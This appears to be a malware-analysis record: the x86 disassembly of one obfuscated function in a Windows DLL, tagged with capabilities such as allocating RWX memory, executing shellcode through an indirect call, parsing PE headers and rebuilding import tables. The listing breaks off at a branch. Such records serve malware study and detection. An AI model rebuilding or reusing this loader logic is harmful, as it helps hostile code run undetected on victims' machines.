Function at 0x10009330
Capabilities:
Allocate or change rwx memory
Encode data using base64
Execute shellcode via indirect call
Parse pe header
Rebuild import table
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x538
mov byte [esp + 6], 0xd0
mov eax, dword [0x10011040]
mov ecx, dword [0x10011044]
mov dword [esp + 0x8c], eax
push esi
push edi
movzx edi, ax
mov eax, edi
mov dword [esp + 0xbc], ecx
mov dword [esp + 0x5c], eax
mov ax, word [0x10011024]
movzx ecx, ax
mov dword [esp + 0xc8], eax
mov dword [esp + 0x110], ecx
movzx ecx, ax
movzx eax, ax
cdq
mov dword [esp + 0x70], eax
mov eax, dword [0x1001107c]
mov dword [esp + 0x30], eax
mov ax, word [0x100110b8]
mov dword [esp + 0x34], 0
mov byte [esp + 0xa], al
mov word [esp + 0x90], ax
mov al, byte [0x10011020]
mov byte [esp + 0xc], al
movsx eax, byte [0x10011017]
mov dword [esp + 0x40], 0x1eed
mov dword [esp + 0x44], 0
mov dword [esp + 0x98], edx
cdq
mov dword [esp + 0xa8], eax
mov al, byte [0x10011014]
mov byte [esp + 0x1f], al
mov ax, word [esp + 0x90]
mov dword [esp + 0x1dc], ecx
mov ecx, dword [0x10011098]
mov dword [esp + 0x9c], edx
mov edx, dword [0x1001109c]
mov dword [esp + 0x38], ecx
movsx ecx, word [0x10011030]
mov dword [esp + 0x3c], edx
mov dword [esp + 0x4c], ecx
mov byte [esp + 0xd], al
mov ecx, dword [0x10011018]
mov al, byte [0x10011013]
mov dword [esp + 0x64], eax
mov eax, dword [0x1001101c]
mov dword [esp + 0x60], ecx
mov ecx, dword [section..data]
mov eax, dword [0x10011004]
mov byte [esp + 0xb], cl
mov dword [esp + 0x50], 0xfd3e
mov dword [esp + 0x54], 0
mov eax, dword [0x1001102c]
mov ax, word [0x10011060]
mov ax, word [0x100110b4]
movzx eax, word [0x10011090]
mov word [esp + 0x90], ax
movsx eax, byte [0x10011017]
cdq
mov dword [esp + 0x10], eax
mov eax, dword [0x1001108c]
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov eax, dword [0x10082928]
mov dword [0x10011058], eax
mov dword [0x1001105c], 0
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add eax, 0x494
mov dword [esp + 0xb0], 0x1d8
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x20]
add eax, 0x6aa
mov dword [esp + 0x78], 0xb3
mov dword [esp + 0x10], eax
mov al, byte [0x10011010]
mov ecx, dword [0x100110b0]
mov dword [esp + 0x7c], 0xa2c3a965
mov dword [esp + 0x2c], 0x92e0
mov eax, dword [0x1001102c]
not ecx
neg ecx
not eax
sbb ecx, ecx
neg ecx
cmp dword [0x10011038], eax
sbb eax, eax
add eax, 2
cmp eax, ecx
je 0x1000954f
cmp dword [0x100110b0], 0
je 0x10009531
movsx eax, word [0x1001106c]
mov ecx, 0x434d
sub ecx, eax
je 0x10009531
mov eax, dword [0x100110bc]
sub eax, dword [esp + 0x60]
mov dword [esp + 0x60], eax
jmp 0x10009560
movzx ecx, word [0x100110b4]
sub ecx, dword [0x1001107c]
mov ax, word [0x100110b4]
and ax, cx
mov word [0x100110b4], ax
jmp 0x10009560
cmp dword [esp + 0x60], 0
je 0x10009560
mov dword [0x1001107c], 0xb6a8
mov eax, dword [esp + 0x20]
add eax, 0x594
mov dword [esp + 0x1b8], eax
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
test eax, eax
jl 0x100095a1
jg 0x1000958f
cmp ecx, 0xa2c3a965
jb 0x100095a1
cmp byte [esp + 0xc], 0
je 0x100095a1
mov eax, dword [0x10011038]
add al, 0x24
mov dword [esp + 0x64], eax
mov eax, dword [esp + 0x20]
mov ecx, 0x1d8
add eax, 0x52e
mov dword [esp + 0x124], eax
mov ax, word [0x10011090]
sub ax, cx
mov word [0x10011090], ax
mov al, byte [esp + 0xa8]
sub al, 0x17
add al, byte [esp + 0xa]
mov byte [esp + 0xa], al
mov eax, dword [esp + 0x20]
add eax, 0x66d
mov dword [esp + 0x90], eax
mov eax, dword [esp + 0x20]
add eax, 0x39b
mov dword [esp + 0x1b4], eax
mov ecx, dword [0x10011064]
movsx eax, word [0x1001103c]
sub ecx, eax
mov eax, dword [0x10011064]
sub ecx, eax
mov eax, dword [0x10011048]
mov dword [0x10011064], ecx
mov dword [esp + 0x4c], eax
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
cmp byte [esp + 0xb], 0
jne 0x10009633
mov dword [esp + 0x2c], 0x90
mov eax, dword [esp + 0x20]
sub esp, 8
add eax, 0x629
mov dword [esp + 0x130], eax
mov eax, dword [esp + 0x28]
add eax, 0x6ac
mov dword [esp + 0x1cc], eax
call section..text
mov byte [esp + 0x14], al
add esp, 8
mov al, byte [esp + 0xc]
mov eax, dword [esp + 0x20]
add eax, 0x405
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
or ecx, eax
jne 0x10009684
lea eax, [ecx + 1]
jmp 0x10009695
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
cmp word [0x100110b4], 0
je 0x100096b2
cmp word [0x10011028], 0
je 0x100096b2
mov esi, 1
xor edx, edx
jmp 0x100096c3
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov edx, dword [esp + 0x14]
mov esi, dword [esp + 0x10]
or ecx, dword [esp + 0x98]
or eax, dword [esp + 0x70]
cmp ecx, edx
ja 0x100096df
jb 0x100096d8
cmp eax, esi
ja 0x100096df
mov edx, 1
jmp 0x100096e1
xor edx, edx
cmp dword [0x10011054], 0
ja 0x100096fa
cmp dword [0x10011050], 0xc8d69a74
jae 0x100096fa
xor ecx, ecx
jmp 0x100096ff
mov ecx, 1
mov eax, dword [esp + 0x4c]
xor esi, esi
cmp esi, dword [0x100110a4]
jl 0x1000971e
jg 0x10009717
cmp eax, dword [0x100110a0]
jbe 0x1000971e
mov eax, 1
jmp 0x10009720
xor eax, eax
xor eax, ecx
cmp edx, eax
ja 0x10009789
push 0x80728
movsx eax, di
cdq
push 0x5fea9626
push edx
push eax
call fcn.1000f900
mov esi, eax
mov edi, edx
movzx eax, word [0x10011024]
mov ecx, dword [esp + 0x38]
cdq
add esi, eax
mov eax, dword [esp + 0x3c]
adc edi, edx
add ecx, esi
adc eax, edi
add ecx, 0xffff2320
mov dword [section..data], ecx
mov ecx, dword [0x10011074]
adc eax, 0xffffffff
mov dword [0x10011004], eax
mov eax, dword [0x10011070]
shld ecx, eax, 1
add eax, eax
mov dword [0x1001109c], ecx
mov dword [0x10011098], eax
jmp 0x100097b7
movsx eax, word [0x10011088]
cdq
add dword [0x10011048], eax
mov eax, dword [esp + 0x40]
adc dword [0x1001104c], edx
sub eax, 0x94f27c44
mov ecx, dword [esp + 0x44]
sbb ecx, esi
mov dword [0x10011058], eax
mov dword [0x1001105c], ecx
cmp word [0x1001103c], 0
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
jne 0x100097db
movzx eax, byte [esp + 0xa]
cdq
mov dword [0x100110a0], eax
mov dword [0x100110a4], edx
mov eax, dword [esp + 0x20]
add eax, 0x4a9
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0x20]
add eax, 0x41d
mov dword [esp + 0x10], eax
call fcn.100017f0
mov byte [0x10011010], al
mov eax, dword [0x10011078]
movzx ecx, word [0x100110b8]
sub ecx, eax
jne 0x10009841
mov eax, dword [esp + 0x4c]
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [0x10011070]
add eax, 0xffff9ae3
mov dword [esp + 0x14], ecx
mov word [0x10011088], ax
mov eax, 0xffffab2a
mov word [0x10011028], ax
mov eax, dword [esp + 0x20]
add eax, 0x457
mov dword [esp + 0x8c], eax
movzx eax, byte [esp + 0xa]
cdq
cmp dword [0x1001100c], edx
ja 0x100098a6
jb 0x10009869
cmp dword [0x10011008], eax
jae 0x100098a6
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
add ecx, 0x40
adc eax, 0
or ecx, eax
jne 0x10009880
lea edx, [ecx + 1]
jmp 0x10009882
xor edx, edx
mov ecx, dword [esp + 0x4c]
movzx eax, byte [0x10011010]
neg ecx
sbb ecx, ecx
add eax, edx
inc ecx
add eax, ecx
inc byte [esp + 0x1f]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
mov eax, dword [0x10011070]
sub dword [0x10011020], eax
mov eax, dword [esp + 0x20]
add eax, 0x5c3
cmp dword [0x10011020], 0
mov dword [esp + 0x10], eax
je 0x100098f0
mov ecx, dword [esp + 0x4c]
test ecx, ecx
movzx edx, word [0x10011050]
movzx eax, word [0x10011040]
cmovne edx, eax
mov word [0x1001103c], dx
jmp 0x10009909
mov dword [0x10011058], 0x7559
mov dword [0x1001105c], 0
mov byte [esp + 0xa], 0x40
mov eax, dword [esp + 0x20]
add eax, 0x48f
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x20]
mov ecx, dword [0x10082928]
add eax, 0x3b0
cmp word [0x1001103c], 0
mov dword [esp + 0xec], eax
mov dword [esp + 0x20], ecx
jne 0x10009955
movzx eax, byte [0x10011013]
add eax, 0x39
mov word [0x100110ac], cx
not eax
mov dword [0x10011094], eax
mov eax, dword [esp + 0x20]
add eax, 0x4d2
push 0
push dword [esp + 0x30]
mov dword [esp + 0x18], eax
movsx eax, byte [esp + 0x15]
cdq
push edx
push eax
call fcn.1000f900
mov ecx, dword [esp + 0x20]
add ecx, 0x3b0
mov dword [esp + 0xb8], eax
mov dword [esp + 0x1a8], ecx
mov ecx, dword [esp + 0x20]
movzx eax, word [0x100110ac]
add ecx, 0x38c
mov dword [esp + 0x80], edx
cdq
push edx
mov dword [esp + 0x1a8], ecx
mov esi, dword [esp + 0x3c]
mov ecx, dword [esp + 0x40]
push eax
push ecx
push esi
call fcn.1000f900
mov esi, eax
mov edi, edx
movsx eax, byte [esp + 0xd]
push 0xcaa4c
cdq
push 0xb70d4e3d
push edx
push eax
call fcn.1000f900
add eax, esi
mov byte [esp + 0xf], 1
adc edx, edi
or eax, edx
je 0x100099eb
mov byte [esp + 0xf], 0
mov eax, dword [esp + 0x4c]
movzx ecx, byte [0x100110c0]
mov esi, dword [esp + 0x9c]
movzx edx, al
imul edx, ecx
mov ecx, dword [0x10011018]
mov eax, dword [0x1001101c]
sub cl, 0x24
mov ax, word [0x100110ac]
xor ax, 0x52
add cl, dl
movzx eax, ax
xor cl, byte [esp + 0xf]
cdq
add dword [esp + 0xa8], eax
mov dword [esp + 0x68], ecx
mov ecx, dword [0x10082928]
adc esi, edx
mov dword [esp + 0x20], ecx
mov edx, 0x280
mov dword [0x1001102c], ecx
mov eax, dword [esp + 0x20]
add eax, 0x2f6
mov dword [esp + 0x9c], esi
mov dword [esp + 0x10], eax
nop dword [eax + eax]
mov eax, dword [0x10082928]
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], 0
imul eax, dword [0x10011064], 0x67
mov word [0x100110b4], ax
mov eax, dword [section..data]
mov ecx, dword [0x10011004]
add eax, 1
mov dword [section..data], eax
adc ecx, 0
mov dword [0x10011004], ecx
sub edx, 1
jne 0x10009a60
mov eax, dword [esp + 0x20]
add eax, 0x47c
mov dword [esp + 0x1c0], eax
movzx eax, byte [0x100110bc]
imul eax, eax, 0xfd
mov byte [0x10011010], al
mov eax, dword [esp + 0x20]
add eax, 0x5fe
mov dword [esp + 0xf4], eax
mov al, byte [0x10011026]
movzx eax, byte [esp + 0x1f]
mov dword [esp + 0x74], eax
mov eax, dword [0x100110bc]
mov eax, dword [0x10082928]
movups xmm0, xmmword [str.___abi_WinRTraiseO]
mov dword [esp + 0x20], eax
mov ax, word [0x10010154]
mov word [esp + 0x210], ax
mov al, byte [0x10010156]
mov byte [esp + 0x212], al
lea eax, [esp + 0x200]
push eax
movups xmmword [esp + 0x204], xmm0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [0x1001102c], eax
mov eax, dword [esp + 0x20]
add eax, 0x69c
mov dword [esp + 0x10], eax
call fcn.10001560
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], 0
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
test eax, eax
jl 0x10009bf7
jg 0x10009b61
test ecx, ecx
jb 0x10009bf7
cmp esi, 0x80728
ja 0x10009b89
jb 0x10009b78
cmp dword [esp + 0xa8], 0x5fea9627
jae 0x10009b89
mov al, byte [0x100110c0]
shl al, 3
mov byte [esp + 0x64], al
jmp 0x10009ca4
mov eax, dword [0x10011008]
or eax, dword [0x1001100c]
jne 0x10009bad
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
sub ecx, 0x32fd0a5a
mov dword [esp + 0x4c], ecx
jmp 0x10009ca4
cmp byte [0x10011016], 0
je 0x10009be7
mov eax, dword [0x10011070]
or eax, dword [0x10011074]
je 0x10009ca4
movsx eax, word [0x10011088]
sub eax, 0xaf
cdq
mov dword [esp + 0xb8], eax
mov dword [esp + 0x80], edx
jmp 0x10009ca4
mov eax, dword [0x10011064]
mov word [0x1001106c], ax
jmp 0x10009ca4
cmp word [0x1001106c], 0
je 0x10009c16
mov eax, dword [0x10011070]
add eax, 0x478c
mov word [0x100110c0], ax
jmp 0x10009ca4
mov eax, dword [0x10011050]
or eax, dword [0x10011054]
jne 0x10009c28
lea ecx, [eax + 1]
jmp 0x10009c2a
xor ecx, ecx
movsx eax, word [0x10011028]
cmp eax, ecx
jle 0x10009c5f
mov eax, dword [0x100110b0]
add eax, 0xf8c83d0f
cmp byte [0x10011017], 0
mov dword [esp + 0x4c], eax
mov eax, 0xb3
jne 0x10009c58
movzx eax, word [0x100110b8]
mov dword [0x10011064], eax
jmp 0x10009ca4
mov ax, word [0x10011028]
mov ecx, 0x53
cmp cx, ax
jl 0x10009ca4
mov ecx, dword [esp + 0x38]
mov eax, dword [esp + 0x3c]
or ecx, eax
jne 0x10009c80
lea edx, [ecx + 1]
jmp 0x10009c82
xor edx, edx
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
add ecx, edx
movsx eax, word [0x1001103c]
not ecx
sub ecx, eax
add eax, 0x176e207c
xor ecx, eax
not ecx
mov dword [esp + 0x60], ecx
mov eax, dword [esp + 0x20]
mov cl, 0x70
add eax, 0x44c
xor edx, edx
mov dword [esp + 0xa0], eax
mov eax, dword [0x10011098]
add eax, 0xffff45bf
mov dword [0x1001108c], eax
mov eax, dword [esp + 0x20]
add eax, 0x469
mov dword [esp + 0x10], eax
mov al, byte [esp + 0xa]
sub cl, al
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
mov dword [esp + 0xac], eax
mov eax, dword [esp + 0x20]
add eax, 0x4aa
mov dword [esp + 0x6c], ecx
mov dword [esp + 0x10c], eax
mov al, byte [esp + 0xc]
mov ecx, dword [esp + 0x38]
test al, al
sete dl
xor eax, eax
cmp word [esp + 0x5c], ax
sete al
xor edx, eax
mov eax, dword [esp + 0x3c]
add ecx, edx
adc eax, 0
or ecx, eax
mov eax, 0xa2c45fa3
je 0x10009d2e
mov eax, 0xa2c45fa2
add al, byte [0x100110b8]
mov byte [esp + 0xa], al
mov eax, dword [esp + 0x70]
mov byte [0x10011366], al
mov eax, dword [esp + 0x20]
add eax, 0x375
mov dword [esp + 0xf0], 8
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x4c]
mov dword [0x100111a8], eax
mov ax, word [0x10011028]
and ax, word [0x10011098]
mov cx, word [0x10011028]
movzx eax, ax
sub cx, ax
mov dword [0x100111ac], 0
mov word [0x10011028], cx
mov eax, dword [esp + 0x20]
add eax, 0x35b
add byte [esp + 0x64], 8
mov dword [esp + 0xc0], eax
movzx eax, byte [esp + 0xc]
cdq
add eax, 0xffffffd1
mov dword [0x10011098], eax
adc edx, 0xffffffff
cmp word [0x10011024], 0
mov dword [0x1001109c], edx
jne 0x10009dd2
mov edi, 1
mov dword [esp + 0x2c], 0
jmp 0x10009de7
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
mov dword [esp + 0x2c], eax
movzx eax, word [0x100110ac]
mov esi, dword [0x10011050]
mov ecx, dword [0x10011054]
cdq
sub esi, eax
mov eax, dword [0x100110a8]
not esi
not eax
sbb ecx, edx
add esi, edi
not ecx
adc ecx, dword [esp + 0x2c]
sub eax, dword [esp + 0x74]
cdq
or esi, eax
or ecx, edx
sub dword [esp + 0xf0], 1
mov dword [0x10011058], esi
mov dword [0x1001105c], ecx
jne 0x10009da2
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add eax, 0x4ff
mov dword [esp + 0x1bc], eax
mov eax, dword [esp + 0x20]
mov edx, dword [0x100110a4]
add eax, 0x502
mov dword [esp + 0xe8], eax
mov eax, dword [0x100110a0]
cmp edx, dword [0x1001100c]
ja 0x10009e80
jb 0x10009e79
cmp eax, dword [0x10011008]
jae 0x10009e80
mov ecx, 1
jmp 0x10009e82
xor ecx, ecx
test edx, edx
jg 0x10009e94
jl 0x10009e8d
cmp eax, 0xc
jae 0x10009e94
mov eax, 1
jmp 0x10009e96
xor eax, eax
cmp ecx, eax
jne 0x10009f09
mov eax, dword [esp + 0x98]
mov ecx, dword [esp + 0x70]
not eax
mov edx, dword [esp + 0x4c]
not ecx
push eax
push ecx
push 0
push edx
call fcn.1000f900
or eax, edx
je 0x10009eca
mov al, byte [esp + 0xb]
dec al
mov byte [esp + 0xb], al
jmp 0x10009f71
mov eax, dword [esp + 0xa8]
or eax, dword [esp + 0x9c]
je 0x10009f71
mov eax, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [esp + 0x60]
xor eax, 0x14
sub eax, 0x298e155a
mov dword [0x1001107c], eax
movzx eax, byte [0x10011013]
sub eax, 0xf35409e
mov dword [esp + 0x60], eax
jmp 0x10009f71
mov dword [0x10011018], 8
mov dword [0x1001101c], 0
mov ecx, dword [0x10011018]
mov eax, dword [0x1001101c]
mov eax, dword [0x10011064]
movzx edx, al
movzx ecx, cl
imul edx, ecx
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
mov al, byte [esp + 0xd]
sub cl, al
xor cl, dl
mov edx, dword [section..data]
mov eax, dword [0x10011004]
mov eax, dword [esp + 0x60]
mov dword [esp + 0x74], ecx
mov cl, byte [0x1001103c]
sub cl, byte [0x10011094]
add dl, cl
add al, dl
or al, byte [esp + 0x74]
mov byte [esp + 0xa], al
mov eax, dword [esp + 0x20]
push dword [esp + 0x80]
add eax, 0x4c7
push dword [esp + 0xbc]
mov dword [esp + 0x18], eax
movsx eax, word [0x10011090]
not eax
cdq
push edx
push eax
call fcn.1000f900
or eax, edx
mov edi, 0x1d9
je 0x10009fab
mov edi, 0x1d8
movzx eax, word [0x100110b8]
cdq
mov ecx, eax
mov esi, edx
movzx eax, byte [esp + 0xc]
sub ecx, dword [0x10011048]
cdq
sbb esi, dword [0x1001104c]
sub ecx, eax
mov eax, dword [0x10082928]
sbb esi, edx
or ecx, edi
mov dword [0x10011080], ecx
mov dword [0x10011084], esi
mov dword [esp + 0x20], eax
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
or ecx, eax
je 0x1000a002
mov eax, dword [0x10011048]
add eax, 0xffffda19
mov word [0x100110b4], ax
jmp 0x1000a00d
mov eax, dword [0x100110bc]
add al, 0x4a
mov byte [esp + 0xc], al
mov eax, dword [esp + 0x20]
add eax, 0x51f
mov dword [esp + 0x1e4], eax
mov eax, dword [esp + 0x68]
movzx eax, al
cdq
cmp edx, dword [0x10011054]
jb 0x1000a0a9
ja 0x1000a037
cmp eax, dword [0x10011050]
jbe 0x1000a0a9
call fcn.100017f0
mov esi, dword [esp + 0x94]
movzx eax, al
mov dword [esp + 0x60], eax
cmp dword [esp + 0x60], 0
je 0x1000a07a
mov al, byte [esp + 0xc]
mov al, byte [esp + 0xa]
dec al
mov byte [esp + 0xa], al
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
mov eax, dword [esp + 0xbc]
mov dword [0x1014fd78], ecx
mov dword [esp + 0x14], eax
jmp 0x1000a0e7
movzx eax, word [0x100110ac]
mov dword [0x10082a94], eax
mov eax, dword [esp + 0xc8]
add eax, 0xffffdac3
movzx eax, ax
mov dword [esp + 0xb0], eax
mov eax, dword [esp + 0xbc]
mov dword [esp + 0x14], eax
jmp 0x1000a0e7
cmp dword [0x10011064], 0
je 0x1000a0ca
mov eax, dword [0x100110b0]
mov dword [0x10011064], eax
mov eax, dword [esp + 0xac]
mov dword [0x10082b7c], eax
jmp 0x1000a0e0
cmp byte [esp + 0xb], 0
jne 0x1000a0e0
mov ax, word [esp + 0x5c]
cwde
sub eax, 0x6e1ee9bd
mov dword [esp + 0x7c], eax
mov esi, dword [esp + 0x94]
mov eax, dword [esp + 0x20]
add eax, 0x32b
mov dword [esp + 0x120], eax
mov eax, dword [esp + 0x20]
add eax, 0x3f7
mov dword [esp + 0xbc], eax
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0x20]
add eax, 0x3c6
mov dword [esp + 0x1e8], eax
call fcn.100017f0
movzx eax, al
mov word [0x10011030], ax
movsx eax, byte [esp + 0xd]
not eax
test eax, eax
jne 0x1000a146
cmp dword [0x1001102c], eax
jne 0x1000a146
lea ecx, [eax + 1]
jmp 0x1000a148
xor ecx, ecx
mov al, byte [0x10011012]
mov dl, 0xb3
cmp dl, al
sbb eax, eax
neg eax
cmp ecx, eax
ja 0x1000a175
mov ecx, dword [esp + 0x50]
mov eax, dword [esp + 0x54]
mov al, 0x7c
sub al, cl
add byte [esp + 0x64], al
mov eax, dword [esp + 0x4c]
add al, 0x75
mov dword [esp + 0x6c], eax
jmp 0x1000a183
movzx eax, byte [esp + 0xc]
and eax, 0xb524879a
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x20]
add eax, 0x330
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 0x20]
add eax, 0x612
mov dword [esp + 0x1ec], eax
movsx eax, byte [0x10011014]
cmp dword [0x1001107c], eax
jb 0x1000a265
mov si, word [esp + 0xb0]
mov edi, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
movsx eax, si
cdq
cmp edx, ecx
jg 0x1000a1db
jl 0x1000a1d4
cmp eax, edi
ja 0x1000a1db
mov ecx, 1
jmp 0x1000a1dd
xor ecx, ecx
xor eax, eax
cmp si, 0xd
setle al
cmp ecx, eax
je 0x1000a205
mov eax, dword [0x1001102c]
add eax, 0xbe
cdq
mov dword [0x10011048], eax
mov dword [0x1001104c], edx
jmp 0x1000a291
cmp dword [0x10011084], 0x8e705
jl 0x1000a22d
jg 0x1000a21f
cmp dword [0x10011080], 0x648301da
jb 0x1000a22d
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
mov dword [esp + 0x4c], ecx
jmp 0x1000a291
mov eax, dword [esp + 0xb8]
or eax, dword [esp + 0x80]
je 0x1000a251
mov al, byte [0x10011015]
add al, 0x3b
mov byte [0x10011010], 0xbd
mov byte [esp + 0x1f], al
jmp 0x1000a291
cmp byte [esp + 0x6c], 0
je 0x1000a291
mov eax, 0x7d13
mov word [0x1001106c], ax
jmp 0x1000a291
mov al, byte [esp + 0xb]
xor ecx, ecx
test al, al
movsx eax, byte [0x10011017]
sete cl
sub ecx, eax
je 0x1000a291
mov al, byte [esp + 0xac]
add al, 0x6e
mov byte [0x10011014], al
movsx eax, si
mov dword [0x10011020], eax
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
call fcn.10001560
mov dword [0x100110a0], eax
or eax, 0
mov dword [0x100110a4], 0
je 0x1000a308
mov ecx, dword [esp + 0x4c]
mov edx, dword [0x1001100c]
mov eax, dword [0x10011008]
test edx, edx
ja 0x1000a2d3
jb 0x1000a2cc
cmp eax, ecx
ja 0x1000a2d3
mov ecx, 1
jmp 0x1000a2d5
xor ecx, ecx
test edx, edx
ja 0x1000a2e7
jb 0x1000a2e0
cmp eax, 0x26
ja 0x1000a2e7
mov eax, 1
jmp 0x1000a2e9
xor eax, eax
cmp ecx, eax
jne 0x1000a324
mov eax, dword [esp + 0x6c]
movsx eax, al
imul eax, eax, 0xe0
cdq
mov dword [0x100110a0], eax
mov dword [0x100110a4], edx
jmp 0x1000a324
mov ecx, dword [0x10011070]
mov eax, dword [0x10011074]
xor ecx, 0xf8c0b154
xor eax, 0
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], eax
mov eax, dword [esp + 0x20]
add eax, 0x303
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x20]
add eax, 0x2f7
mov dword [esp + 0x1f0], eax
mov eax, dword [esp + 0x20]
add eax, 0x405
mov dword [esp + 0xb8], eax
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
sub cl, 0x11
cmp byte [esp + 0x1f], 0
mov eax, dword [0x10082928]
mov byte [0x10011013], cl
mov dword [esp + 0x20], eax
jne 0x1000a380
cmp byte [esp + 0x68], 0
jne 0x1000a380
xor esi, esi
jmp 0x1000a385
mov esi, 1
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
cmp eax, 0xffffffff
jb 0x1000a3a0
ja 0x1000a39c
cmp ecx, 0xffff77bf
jbe 0x1000a3a0
xor edi, edi
jmp 0x1000a3a5
mov edi, 1
movzx ecx, byte [0x10011012]
mov eax, dword [0x100110a8]
not eax
add eax, ecx
mov ecx, dword [0x10011040]
cdq
mov dword [esp + 0x74], edx
mov edx, dword [0x10011044]
cmp eax, ecx
jne 0x1000a3d7
cmp dword [esp + 0x74], edx
jne 0x1000a3d7
mov eax, 1
jmp 0x1000a3d9
xor eax, eax
and esi, edi
cmp esi, eax
jbe 0x1000a408
cmp dword [esp + 0xac], 0
je 0x1000a408
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
or ecx, eax
jne 0x1000a3fb
cmp byte [esp + 0xd], cl
je 0x1000a408
mov eax, dword [esp + 0x64]
movzx eax, al
sub dword [0x1001108c], eax
mov eax, dword [esp + 0x20]
add eax, 0x4f0
mov dword [esp + 0x104], eax
mov dword [esp + 0x30], 0x8de386ef
mov dword [esp + 0x34], 0x4ca8f
mov eax, dword [esp + 0x20]
add eax, 0x3cc
mov dword [esp + 0xf8], eax
mov eax, dword [0x10011050]
mov dword [0x10011064], eax
mov eax, dword [esp + 0x20]
movzx edx, byte [0x10011011]
add eax, 0x62c
mov ecx, dword [0x10082928]
mov dword [esp + 0xdc], eax
movzx eax, byte [esp + 0x1f]
imul edx, eax
mov eax, dword [esp + 0x64]
movzx eax, al
mov dword [esp + 0xa8], eax
mov byte [esp + 0xc], cl
mov dword [esp + 0x9c], edx
movzx edx, word [0x1001103c]
mov dword [esp + 0x20], ecx
xor ecx, ecx
movsx eax, dx
cmp eax, dword [esp + 0xa8]
setl cl
xor eax, eax
cmp dx, 0x2d
setl al
cmp ecx, eax
ja 0x1000a4fe
cmp word [0x100110ac], 0
je 0x1000a4c3
mov dword [esp + 0x40], 0xcbf6
mov dword [esp + 0x44], 0
jmp 0x1000a513
cmp dword [0x1001102c], 0
je 0x1000a513
mov ecx, dword [esp + 0x40]
mov eax, dword [esp + 0x44]
or ecx, eax
jne 0x1000a4eb
mov al, byte [0x1001103c]
mov cl, 1
sub al, cl
add al, byte [esp + 0x78]
mov byte [esp + 0x6c], al
jmp 0x1000a513
mov al, byte [0x1001103c]
xor cl, cl
sub al, cl
add al, byte [esp + 0x78]
mov byte [esp + 0x6c], al
jmp 0x1000a513
cmp word [0x1001106c], 0
je 0x1000a513
mov eax, dword [0x10011040]
mov ecx, dword [0x10011044]
mov eax, dword [esp + 0x20]
add eax, 0x43c
mov dword [esp + 0xc8], eax
call fcn.10001560
mov edi, dword [esp + 0x7c]
movzx eax, ax
mov word [0x1001106c], ax
test ax, ax
jne 0x1000a54e
mov eax, edi
not eax
test eax, eax
je 0x1000a54e
mov ax, word [0x10011008]
mov word [0x10011030], ax
mov eax, dword [esp + 0x20]
add eax, 0x452
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x20]
add eax, 0x5aa
mov dword [esp + 0x11c], eax
cmp byte [esp + 0xc], 0
je 0x1000a57a
mov ax, word [0x10011090]
jmp 0x1000a580
mov ax, word [0x10011060]
mov ecx, dword [esp + 0x9c]
movzx eax, ax
mov word [0x10011060], ax
movzx eax, cl
mov dword [0x100110b0], eax
mov eax, dword [0x10082928]
mov dword [esp + 0x20], eax
test cl, cl
jne 0x1000a5bd
mov dword [esp + 0x88], 1
mov dword [esp + 0xa4], 0
jmp 0x1000a5dc
xorps xmm0, xmm0
movlpd qword [esp + 0x10], xmm0
mov eax, dword [esp + 0x14]
mov dword [esp + 0xa4], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x88], eax
mov eax, dword [esp + 0x20]
add eax, 0x2fa
mov dword [esp + 0x10], eax
mov al, byte [0x100110c0]
mov dword [esp + 0x80], eax
mov eax, dword [0x10011020]
add eax, 0xffffe120
mov word [esp + 0x10], ax
mov eax, dword [esp + 0x20]
add eax, 0x6ab
mov dword [esp + 0xcc], eax
mov eax, dword [esp + 0x20]
add eax, 0x47a
mov dword [esp + 0x10], eax
movzx eax, byte [0x10011013]
mov esi, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
cdq
cmp edx, ecx
jb 0x1000a6d4
